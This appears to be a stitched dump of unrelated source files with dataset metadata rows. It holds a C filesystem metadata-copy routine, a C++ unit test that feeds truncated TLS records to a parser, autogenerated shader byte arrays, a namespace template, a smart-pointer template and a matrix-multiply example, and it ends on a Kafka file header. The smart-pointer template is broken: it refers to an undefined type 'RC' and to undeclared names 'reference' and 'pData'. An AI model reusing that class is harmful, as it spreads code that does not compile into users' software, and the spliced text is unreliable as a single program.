memcpy(&dest->field, src->field, sizeof(src->field))
static inline void
pfs_metaobj_cp_base(const pfs_metaobj_phy_t *psrc, pfs_metaobj_phy_t *pdest)
{
FIELD_CP_DEF(pfs_metaobj_phy_t, psrc, pdest);
FIELD_CP_INT(mo_number);
FIELD_CP_INT(mo_version);
FIELD_CP_INT(mo_next);
FIELD_CP_INT(mo_prev);
FIELD_CP_INT(mo_type);
FIELD_CP_INT(mo_used);
FIELD_CP_INT(mo_padding[0]);
FIELD_CP_INT(mo_padding[1]);
FIELD_CP_INT(mo_checksum);
}
static void
pfs_metaobj_cp_blktag(const pfs_metaobj_phy_t *psrc, pfs_metaobj_phy_t *pdest)
{
FIELD_CP_DEF(pfs_blktag_phy_t, &psrc->mo_data, &pdest->mo_data);
pfs_metaobj_cp_base(psrc, pdest);
FIELD_CP_INT(bt_ino);
FIELD_CP_INT(bt_blkid);
FIELD_CP_INT(bt_dstatus);
FIELD_CP_INT(bt_ndiscard);
FIELD_CP_INT(bt_holelen);
FIELD_CP_INT(bt_holeoff);
}
static void
pfs_metaobj_cp_dentry(const pfs_metaobj_phy_t *psrc, pfs_metaobj_phy_t *pdest)
{
FIELD_CP_DEF(pfs_direntry_phy_t, &psrc->mo_data, &pdest->mo_data);
pfs_metaobj_cp_base(psrc, pdest);
/*
* dentry name visiting is always not atomic if lock is not used.
* pay attention to the implementation of "pfs_direntry_getname".
*/
FIELD_CP_STR(de_name);
FIELD_CP_INT(de_ino);
FIELD_CP_INT(de_dirino);
FIELD_CP_INT(de_extdeno);
}
static void
pfs_metaobj_cp_inode(const pfs_metaobj_phy_t *psrc, pfs_metaobj_phy_t *pdest)
{
FIELD_CP_DEF(pfs_inode_phy_t, &psrc->mo_data, &pdest->mo_data);
pfs_metaobj_cp_base(psrc, pdest);
FIELD_CP_INT(in_type);
FIELD_CP_INT(in_flags);
FIELD_CP_INT(in_padding);
FIELD_CP_INT(in_pvtid);
FIELD_CP_INT(in_deno);
FIELD_CP_INT(in_nlink);
FIELD_CP_INT(in_nblock);
FIELD_CP_INT(in_size);
FIELD_CP_INT(in_atime);
FIELD_CP_INT(in_ctime);
FIELD_CP_INT(in_mtime);
FIELD_CP_INT(in_btime);
}
void
pfs_metaobj_cp(const pfs_metaobj_phy_t *src, pfs_metaobj_phy_t *dest)
{
static void (*pfs_meta_func_array[MT_NTYPE])(const pfs_metaobj_phy_t *,
pfs_metaobj_phy_t *) = {
NULL, pfs_metaobj_cp_blktag, pfs_metaobj_cp_dentry, pfs_metaobj_cp_inode};
PFS_ASSERT(src->mo_type > 0 && src->mo_type < MT_NTYPE);
pfs_meta_func_array[src->mo_type](src, dest);
}
| 24.460736
| 80
| 0.692182
|
qiuyuhang
|
4ed6b363bb4a161afaaf5dbed379b3facadf3b59
| 2,431
|
cpp
|
C++
|
tests/unit/tls_parser/tls_parser_test.cpp
|
pioneer19/libcornet
|
9eb91629d8f9a6793b28af10a3535bfba0cc24ca
|
[
"Apache-2.0"
] | 1
|
2020-07-25T06:39:24.000Z
|
2020-07-25T06:39:24.000Z
|
tests/unit/tls_parser/tls_parser_test.cpp
|
pioneer19/libcornet
|
9eb91629d8f9a6793b28af10a3535bfba0cc24ca
|
[
"Apache-2.0"
] | 1
|
2020-07-25T05:32:10.000Z
|
2020-07-25T05:32:10.000Z
|
tests/unit/tls_parser/tls_parser_test.cpp
|
pioneer19/libcornet
|
9eb91629d8f9a6793b28af10a3535bfba0cc24ca
|
[
"Apache-2.0"
] | 1
|
2020-07-25T05:28:54.000Z
|
2020-07-25T05:28:54.000Z
|
/*
* Copyright 2020 Alex Syrnikov <pioneer19@post.cz>
* SPDX-License-Identifier: Apache-2.0
*
* This file is part of libcornet (https://github.com/pioneer19/libcornet).
*/
#include <doctest/doctest.h>
#include <libcornet/tls/parser.hpp>
namespace record = pioneer19::cornet::tls13::record;
TEST_CASE("Parser test with empty plaintext data")
{
const char tls_record[] = { 22 // type
,0x03,0x03 // legacy_version
,0x00, 0x00 // data length
};
record::Parser parser;
auto[bytes_parsed, err] = parser.parse_net_record<record::EmptyHook>( nullptr
,tls_record, sizeof( tls_record) );
CHECK( err );
REQUIRE( err.parse_errno() == record::ParserErrno::W_LOW_DATA_IN_HANDSHAKE );
}
TEST_CASE("Parser test with low data in tls plaintext")
{
const char short_tls_record[] = {22 // type
};
record::Parser parser;
auto[bytes_parsed, err] = parser.parse_net_record<record::EmptyHook>( nullptr
,short_tls_record, sizeof( short_tls_record ) );
CHECK( err );
REQUIRE( err.parse_errno() == record::ParserErrno::W_LOW_DATA_IN_NET_RECORD );
}
TEST_CASE("Parser test with low data in tls plaintext data")
{
const char short_tls_record2[] = { 22 // type
,0x03,0x03 // legacy_version
,0x00, 0x10 // data length
// no data
};
record::Parser parser;
auto [bytes_parsed,err] = parser.parse_net_record<record::EmptyHook>( nullptr
,short_tls_record2, sizeof( short_tls_record2) );
CHECK( err );
REQUIRE( err.parse_errno() == record::ParserErrno::W_LOW_DATA_IN_NET_RECORD );
}
TEST_CASE( "Parser test with empty handshake" )
{
const char tls_record[] = { 22 // handshake type
,0x03,0x03 // legacy_version
,0x00, 0x01 // data length
,0x01 // ClientHello
};
record::Parser parser;
auto[bytes_parsed, err] = parser.parse_net_record<record::EmptyHook>( nullptr
,tls_record, sizeof( tls_record) );
CHECK( err );
REQUIRE( err.parse_errno() == record::ParserErrno::W_LOW_DATA_IN_HANDSHAKE );
}
// ParserErrno::E_CLIENT_HELLO_NO_SPACE_FOR_RANDOM
// SUBCASE( "append will increase size" )
// {
| 31.571429
| 82
| 0.59893
|
pioneer19
|
4ed801405913cbce66fa232ec7c5fdb1e4da2bf2
| 13,773
|
cpp
|
C++
|
Demos/Shadow Demo/ShadowMappingDemo/bin/Debug/_temp_basicShaderReflect/xfconfig.cpp
|
theproadam/XFDraw
|
08acaa83fffa8c36fa55164c128c9e3df625eed6
|
[
"MIT"
] | 1
|
2021-07-06T11:25:47.000Z
|
2021-07-06T11:25:47.000Z
|
Demos/Shadow Demo/ShadowMappingDemo/bin/Debug/_temp_basicShaderReflect/xfconfig.cpp
|
theproadam/XFDraw
|
08acaa83fffa8c36fa55164c128c9e3df625eed6
|
[
"MIT"
] | null | null | null |
Demos/Shadow Demo/ShadowMappingDemo/bin/Debug/_temp_basicShaderReflect/xfconfig.cpp
|
theproadam/XFDraw
|
08acaa83fffa8c36fa55164c128c9e3df625eed6
|
[
"MIT"
] | 2
|
2021-07-26T11:54:33.000Z
|
2021-07-26T12:08:46.000Z
|
//This autogenerated file contains serialization data that XFDraw uses for reflection.
//DO NOT MODIFY THE CONTENTS OF THIS FILE. DOING SO WILL SEGFAULT THE SHADER.
const unsigned char vs_serial_buffer[] = {0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,12,2,0,0,0,61,88,70,68,114,97,119,44,32,86,101,114,115,105,111,110,61,49,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,110,117,108,108,5,1,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,80,97,114,115,101,114,7,0,0,0,15,115,104,97,100,101,114,70,105,101,108,100,79,117,116,115,14,115,104,97,100,101,114,70,105,101,108,100,73,110,115,14,115,104,97,100,101,114,85,110,105,102,111,114,109,115,13,115,104,97,100,101,114,77,101,116,104,111,100,115,13,115,104,97,100,101,114,83,116,114,117,99,116,115,14,105,110,116,101,114,110,97,108,83,116,114,105,100,101,10,114,101,97,100,83,116,114,105,100,101,4,4,4,4,4,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,37,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,91,93,2,0,0,0,37,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,91,93,2,0,0,0,8,8,2,0,0,0,9,3,0,0,0,9,4,0,0,0,9,5,0,0,0,9,6,0,0,0,9,7,0,0,0,24,0,0,0,24,0,0,0,7,3,0,0,0,0,1,0,0,0,2,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,8,0,0,0,9,9,0,0,0,7,4,0,0,0,0,1,0,0,0,2,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,10,0,0,0,9,11,0,0,0,7,5,0,0,0,0,1,0,0,0,3,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,12,0,0,0,9,13,0,0,0,9,14,0,0,0,7,6,0,0,0,0,1,0,0,0,1,0,0,0,4,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,2,0,0,0,9,15,0,0,0,7,7,0,0,0,0,1,0,0,0,0,0,0,0,4,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,2,0,0,0,5,8,0,0,0,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,9,0,0,0,4,110,97,109,101,8,100,97,116,97,84,121,112,101,8,100,97,116,97,77,111,100,101,8,116,121,112,101,78,97,109,101,7,116,121,112,101,65,108,116,14,108,97,121,111,117,116,80,111,115,105,116,105,111,110,9,70,105,101,108,100,83,105,122,101,13,108,97,121,111,117,116,86,97,108,117,101,71,76,10,116,101,120,116,117,114,101,80,111,115,1,4,4,1,4,0,0,0,0,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,84,121,112,101,2,0,0,0,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,77,111,100,101,2,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,2,0,0,0,8,8,8,8,2,0,0,0,6,16,0,0,0,9,110,111,114,109,95,100,97,116,97,5,239,255,255,255,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,84,121,112,101,1,0,0,0,7,118,97,108,117,101,95,95,0,8,2,0,0,0,0,0,0,0,5,238,255,255,255,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,77,111,100,101,1,0,0,0,7,118,97,108,117,101,95,95,0,8,2,0,0,0,1,0,0,0,6,19,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,9,0,0,0,8,0,0,0,6,20,0,0,0,8,102,114,97,103,95,112,111,115,1,235,255,255,255,239,255,255,255,0,0,0,0,1,234,255,255,255,238,255,255,255,1,0,0,0,6,23,0,0,0,4,118,101,99,51,10,12,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,10,0,0,0,8,0,0,0,6,24,0,0,0,3,112,111,115,1,231,255,255,255,239,255,255,255,0,0,0,0,1,230,255,255,255,238,255,255,255,0,0,0,0,6,27,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,0,0,0,0,255,255,255,255,1,11,0,0,0,8,0,0,0,6,28,0,0,0,4,110,111,114,109,1,227,255,255,255,239,255,255,255,0,0,0,0,1,226,255,255,255,238,255,255,255,0,0,0,0,6,31,0,0,0,4,118,101,99,51,10,12,0,0,0,255,255,255,255,1,0,0,0,255,255,255,255,1,12,0,0,0,8,0,0,0,6,32,0,0,0,9,99,97,109,101,114,97,80,111,115,1,223,255,255,255,239,255,255,255,0,0,0,0,1,222,255,255,255,238,255,255,255,2,0,0,0,6,35,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,13,0,0,0,8,0,0,0,6,36,0,0,0,9,99,97,109,101,114,97,82,111,116,1,219,255,255,255,239,255,255,255,7,0,0,0,1,218,255,255,255,238,255,255,255,2,0,0,0,6,39,0,0,0,4,109,97,116,51,10,12,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,14,0,0,0,8,0,0,0,6,40,0,0,0,9,111,98,106,101,99,116,80,111,115,1,215,255,255,255,239,255,255,255,0,0,0,0,1,214,255,255,255,238,255,255,255,2,0,0,0,6,43,0,0,0,4,118,101,99,51,10,48,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,5,15,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,3,0,0,0,9,101,110,116,114,121,78,97,109,101,8,99,111,110,116,101,110,116,115,12,105,115,69,110,116,114,121,80,111,105,110,116,1,1,0,1,2,0,0,0,6,44,0,0,0,11,118,111,105,100,32,109,97,105,110,40,41,6,45,0,0,0,121,118,101,99,51,32,119,111,114,108,100,95,112,111,115,32,61,32,112,111,115,32,43,32,111,98,106,101,99,116,80,111,115,59,103,108,95,80,111,115,105,116,105,111,110,32,61,32,99,97,109,101,114,97,82,111,116,32,42,32,40,119,111,114,108,100,95,112,111,115,32,45,32,99,97,109,101,114,97,80,111,115,41,59,110,111,114,109,95,100,97,116,97,32,61,32,110,111,114,109,59,102,114,97,103,95,112,111,115,32,61,32,119,111,114,108,100,95,112,111,115,59,1,11 };
const unsigned char fs_serial_buffer[] = {0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,12,2,0,0,0,61,88,70,68,114,97,119,44,32,86,101,114,115,105,111,110,61,49,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,110,117,108,108,5,1,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,80,97,114,115,101,114,7,0,0,0,15,115,104,97,100,101,114,70,105,101,108,100,79,117,116,115,14,115,104,97,100,101,114,70,105,101,108,100,73,110,115,14,115,104,97,100,101,114,85,110,105,102,111,114,109,115,13,115,104,97,100,101,114,77,101,116,104,111,100,115,13,115,104,97,100,101,114,83,116,114,117,99,116,115,14,105,110,116,101,114,110,97,108,83,116,114,105,100,101,10,114,101,97,100,83,116,114,105,100,101,4,4,4,4,4,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,36,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,91,93,2,0,0,0,37,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,91,93,2,0,0,0,37,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,91,93,2,0,0,0,8,8,2,0,0,0,9,3,0,0,0,9,4,0,0,0,9,5,0,0,0,9,6,0,0,0,9,7,0,0,0,4,0,0,0,24,0,0,0,7,3,0,0,0,0,1,0,0,0,1,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,8,0,0,0,7,4,0,0,0,0,1,0,0,0,2,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,9,0,0,0,9,10,0,0,0,7,5,0,0,0,0,1,0,0,0,2,0,0,0,4,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,2,0,0,0,9,11,0,0,0,9,12,0,0,0,7,6,0,0,0,0,1,0,0,0,2,0,0,0,4,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,2,0,0,0,9,13,0,0,0,9,14,0,0,0,7,7,0,0,0,0,1,0,0,0,0,0,0,0,4,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,2,0,0,0,5,8,0,0,0,34,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,70,105,101,108,100,9,0,0,0,4,110,97,109,101,8,100,97,116,97,84,121,112,101,8,100,97,116,97,77,111,100,101,8,116,121,112,101,78,97,109,101,7,116,121,112,101,65,108,116,14,108,97,121,111,117,116,80,111,115,105,116,105,111,110,9,70,105,101,108,100,83,105,122,101,13,108,97,121,111,117,116,86,97,108,117,101,71,76,10,116,101,120,116,117,114,101,80,111,115,1,4,4,1,4,0,0,0,0,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,84,121,112,101,2,0,0,0,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,77,111,100,101,2,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,83,116,114,117,99,116,2,0,0,0,8,8,8,8,2,0,0,0,6,15,0,0,0,9,70,114,97,103,67,111,108,111,114,5,240,255,255,255,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,84,121,112,101,1,0,0,0,7,118,97,108,117,101,95,95,0,8,2,0,0,0,5,0,0,0,5,239,255,255,255,31,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,68,97,116,97,77,111,100,101,1,0,0,0,7,118,97,108,117,101,95,95,0,8,2,0,0,0,1,0,0,0,6,18,0,0,0,5,98,121,116,101,52,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,9,0,0,0,8,0,0,0,6,19,0,0,0,9,110,111,114,109,95,100,97,116,97,1,236,255,255,255,240,255,255,255,0,0,0,0,1,235,255,255,255,239,255,255,255,0,0,0,0,6,22,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,10,0,0,0,8,0,0,0,6,23,0,0,0,8,102,114,97,103,95,112,111,115,1,232,255,255,255,240,255,255,255,0,0,0,0,1,231,255,255,255,239,255,255,255,0,0,0,0,6,26,0,0,0,4,118,101,99,51,10,12,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,11,0,0,0,8,0,0,0,6,27,0,0,0,8,108,105,103,104,116,68,105,114,1,228,255,255,255,240,255,255,255,0,0,0,0,1,227,255,255,255,239,255,255,255,2,0,0,0,6,30,0,0,0,4,118,101,99,51,10,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,1,12,0,0,0,8,0,0,0,6,31,0,0,0,11,111,98,106,101,99,116,67,111,108,111,114,1,224,255,255,255,240,255,255,255,0,0,0,0,1,223,255,255,255,239,255,255,255,2,0,0,0,6,34,0,0,0,4,118,101,99,51,10,12,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,5,13,0,0,0,35,120,102,99,111,114,101,46,83,104,97,100,101,114,115,46,66,117,105,108,100,101,114,46,83,104,97,100,101,114,77,101,116,104,111,100,3,0,0,0,9,101,110,116,114,121,78,97,109,101,8,99,111,110,116,101,110,116,115,12,105,115,69,110,116,114,121,80,111,105,110,116,1,1,0,1,2,0,0,0,6,35,0,0,0,34,105,110,108,105,110,101,32,102,108,111,97,116,32,109,97,120,40,102,108,111,97,116,32,97,44,32,102,108,111,97,116,32,98,41,6,36,0,0,0,34,105,102,32,40,97,32,60,32,98,41,32,114,101,116,117,114,110,32,98,59,101,108,115,101,32,114,101,116,117,114,110,32,97,59,0,1,14,0,0,0,13,0,0,0,6,37,0,0,0,11,118,111,105,100,32,109,97,105,110,40,41,6,38,0,0,0,155,3,99,111,110,115,116,32,102,108,111,97,116,32,97,109,98,105,101,110,116,83,116,114,101,110,103,116,104,32,61,32,48,46,49,102,59,118,101,99,51,32,108,105,103,104,116,67,111,108,111,114,32,61,32,118,101,99,51,40,48,46,56,102,44,32,48,46,56,102,44,32,48,46,56,102,41,59,118,101,99,51,32,97,109,98,105,101,110,116,32,61,32,108,105,103,104,116,67,111,108,111,114,32,42,32,97,109,98,105,101,110,116,83,116,114,101,110,103,116,104,59,102,108,111,97,116,32,100,105,102,102,32,61,32,109,97,120,40,100,111,116,40,110,111,114,109,95,100,97,116,97,44,32,108,105,103,104,116,68,105,114,41,44,32,48,46,48,41,59,118,101,99,51,32,100,105,102,102,117,115,101,32,61,32,108,105,103,104,116,67,111,108,111,114,32,42,32,100,105,102,102,59,118,101,99,51,32,114,101,115,117,108,116,32,61,32,111,98,106,101,99,116,67,111,108,111,114,32,42,32,40,97,109,98,105,101,110,116,32,43,32,100,105,102,102,117,115,101,41,32,42,32,50,53,53,46,48,102,59,105,102,32,40,114,101,115,117,108,116,46,120,32,62,32,50,53,53,41,32,114,101,115,117,108,116,46,120,32,61,32,50,53,53,59,105,102,32,40,114,101,115,117,108,116,46,121,32,62,32,50,53,53,41,32,114,101,115,117,108,116,46,121,32,61,32,50,53,53,59,105,102,32,40,114,101,115,117,108,116,46,122,32,62,32,50,53,53,41,32,114,101,115,117,108,116,46,122,32,61,32,50,53,53,59,70,114,97,103,67,111,108,111,114,32,61,32,98,121,116,101,52,40,114,101,115,117,108,116,46,120,44,32,114,101,115,117,108,116,46,121,44,32,114,101,115,117,108,116,46,122,41,59,1,11 };
extern "C" __declspec(dllexport) void ReadyShader(long* vs_parse_size, long* fs_parse_size, long* compiled_version)
{
*vs_parse_size = 1898;
*fs_parse_size = 2133;
*compiled_version = 0;
}
extern "C" __declspec(dllexport) void LoadData(unsigned char* vsPtr, unsigned char* fsPtr)
{
for (int i = 0; i < 1898; i++)
{
vsPtr[i] = vs_serial_buffer[i];
}
for (int i = 0; i < 2133; i++)
{
fsPtr[i] = fs_serial_buffer[i];
}
}
| 529.730769
| 7,034
| 0.692877
|
theproadam
|
4de5a5b2d9467416244e2843224657606b0ca5cf
| 1,857
|
tcc
|
C++
|
hackt_docker/hackt/src/Object/common/namespace.tcc
|
broken-wheel/hacktist
|
36e832ae7dd38b27bca9be7d0889d06054dc2806
|
[
"MIT"
] | null | null | null |
hackt_docker/hackt/src/Object/common/namespace.tcc
|
broken-wheel/hacktist
|
36e832ae7dd38b27bca9be7d0889d06054dc2806
|
[
"MIT"
] | null | null | null |
hackt_docker/hackt/src/Object/common/namespace.tcc
|
broken-wheel/hacktist
|
36e832ae7dd38b27bca9be7d0889d06054dc2806
|
[
"MIT"
] | null | null | null |
/**
\file "Object/common/namespace.tcc"
Template method definitions for class name_space.
This file was "Object/common/namespace.tcc"
in a previous life.
$Id: namespace.tcc,v 1.6 2009/02/18 00:22:30 fang Exp $
*/
#ifndef __HAC_OBJECT_COMMON_NAMESPACE_TCC__
#define __HAC_OBJECT_COMMON_NAMESPACE_TCC__
#if 0
// we may no longer need this if using ordered_maps
#include "util/hash_specializations.h" // needs to be first
#endif
#include "Object/common/scopespace.hh"
namespace HAC {
namespace entity {
//=============================================================================
// class namespace method definitions
/**
General collector of things over namespaces.
Accumulates matches in the list l.
Things may be definitionas, instance collections, etc...
\param L the list type to accumulate.
The list type requires only a push_back interface.
The type of object to collect is deduced from L::value_type.
Constraint: L::value_type must be a never_ptr.
I should enforce this with a concept-check...
\param l the list in which to accumulate matches.
*/
template <class L>
void
scopespace::collect(L& l) const {
typedef typename L::value_type pointer_type;
typedef typename pointer_type::element_type element_type;
used_id_map_type::const_iterator i(used_id_map.begin());
const used_id_map_type::const_iterator e(used_id_map.end());
for ( ; i!=e; i++) {
// const here will check for const-copy-constructibility
// where push_back is called.
const never_ptr<object> o(i->second);
const pointer_type p(o.template is_a<element_type>());
// template keyword needed by g++-3.3, I believe.
if (p) l.push_back(p);
}
}
//=============================================================================
} // end namespace entity
} // end namespace HAC
#endif // __HAC_OBJECT_COMMON_NAMESPACE_TCC__
| 32.578947
| 79
| 0.677975
|
broken-wheel
|
4de71fffabd753e31b08c0089034520efb79c92d
| 2,343
|
hpp
|
C++
|
include/GQE/Core/interfaces/TSmartPointer.hpp
|
Maarrch/gqe
|
51f6ff82cbcafee97b9c245fa5bbea49e11a46da
|
[
"MIT"
] | 8
|
2017-04-06T13:14:27.000Z
|
2022-01-20T22:25:04.000Z
|
include/GQE/Core/interfaces/TSmartPointer.hpp
|
Maarrch/gqe
|
51f6ff82cbcafee97b9c245fa5bbea49e11a46da
|
[
"MIT"
] | null | null | null |
include/GQE/Core/interfaces/TSmartPointer.hpp
|
Maarrch/gqe
|
51f6ff82cbcafee97b9c245fa5bbea49e11a46da
|
[
"MIT"
] | 3
|
2019-11-09T09:46:38.000Z
|
2021-02-25T00:32:28.000Z
|
/**
* Provides the Smart Pointer Template class for handling smart pointers.
*
* @file include/GQE/Core/interfaces/TSmartPointer.hpp
* @author Jacob Dix
* @date 20120423 - Initial Release
*/
#ifndef TSMART_POINTER_HPP_INCLUDED
#define TSMART_POINTER_HPP_INCLUDED
#include <GQE/Core/classes/ReferenceCount.hpp>
template < typename T > class TSmartPointer
{
private:
T* mData; // pointer
ReferenceCount* mReference; // Reference count
public:
TSmartPointer() : mData(0), mReference(0)
{
// Create a new reference
mReference = new RC();
// Increment the reference count
mReference->AddRef();
}
TSmartPointer(T* theValue) : mData(theValue), mReference(0)
{
// Create a new reference
reference = new RC();
// Increment the reference count
reference->AddRef();
}
TSmartPointer(const TSmartPointer<T>& theSmartPointer) : mData(theSmartPointer.mData), mReference(theSmartPointer.mReference)
{
// Copy constructor
// Copy the data and reference pointer
// and increment the reference count
mReference->AddRef();
}
~TSmartPointer()
{
// Destructor
// Decrement the reference count
// if reference become zero delete the data
if(mReference->Release() == 0)
{
delete mData;
delete mReference;
}
}
T& operator* ()
{
return *mData;
}
T* operator-> ()
{
return mData;
}
TSmartPointer<T>& operator = (const TSmartPointer<T>& theSmartPointer)
{
// Assignment operator
if (this != &theSmartPointer) // Avoid self assignment
{
// Decrement the old reference count
// if reference become zero delete the old data
if(mReference->Release() == 0)
{
delete mData;
delete mReference;
}
// Copy the data and reference pointer
// and increment the reference count
mData = theSmartPointer.pData;
mReference = theSmartPointer.mReference;
mReference->AddRef();
}
return *this;
}
};
#endif
| 26.931034
| 130
| 0.5621
|
Maarrch
|
4de8e80b9f3a3e223026a2e3fc3ef25cdcf9ba2d
| 596
|
cxx
|
C++
|
OldHPCSummerSchool/Cpp-tutorial/optimizing_gemm/my_dgemm_0.cxx
|
wadejong/Summer-School-Materials
|
82469995a79c667e940313d423e93c7c675e0a7c
|
[
"BSD-3-Clause"
] | 5
|
2018-08-06T22:18:42.000Z
|
2020-01-15T06:04:43.000Z
|
OldHPCSummerSchool/Cpp-tutorial/optimizing_gemm/my_dgemm_0.cxx
|
wadejong/Summer-School-Materials
|
82469995a79c667e940313d423e93c7c675e0a7c
|
[
"BSD-3-Clause"
] | null | null | null |
OldHPCSummerSchool/Cpp-tutorial/optimizing_gemm/my_dgemm_0.cxx
|
wadejong/Summer-School-Materials
|
82469995a79c667e940313d423e93c7c675e0a7c
|
[
"BSD-3-Clause"
] | 8
|
2018-07-30T17:21:45.000Z
|
2020-05-21T15:54:16.000Z
|
#include "common.hpp"
/*
* Compute C += A*B
*/
void my_dgemm(int m, int n, int k, const matrix& A, const matrix& B, matrix& C)
{
/*
* Step 0:
*
* Simple triple-loop matrix-matrix product.
*
* This ordering of the loops is called the "dot-product" algorithm.
*/
for (int i = 0;i < m;i++)
{
for (int j = 0;j < n;j++)
{
/*
* ...because this loop is a dot product (duh).
*/
for (int p = 0;p < k;p++)
{
C(i,j) += A(i,p) * B(p,j);
}
}
}
}
| 20.551724
| 79
| 0.412752
|
wadejong
|
4df3f46fb1a5b2ba9e5127cc405c02c49922d36b
| 4,483
|
cpp
|
C++
|
src/flame/kafka/consumer.cpp
|
terrywh/php-mill
|
b8d6c82dcac230248f9bdcd8300e5f2de417f21f
|
[
"MIT"
] | 45
|
2017-10-13T02:26:30.000Z
|
2021-03-28T10:07:32.000Z
|
src/flame/kafka/consumer.cpp
|
terrywh/php-mill
|
b8d6c82dcac230248f9bdcd8300e5f2de417f21f
|
[
"MIT"
] | 1
|
2021-03-12T15:01:07.000Z
|
2021-03-16T02:42:17.000Z
|
src/flame/kafka/consumer.cpp
|
terrywh/php-mill
|
b8d6c82dcac230248f9bdcd8300e5f2de417f21f
|
[
"MIT"
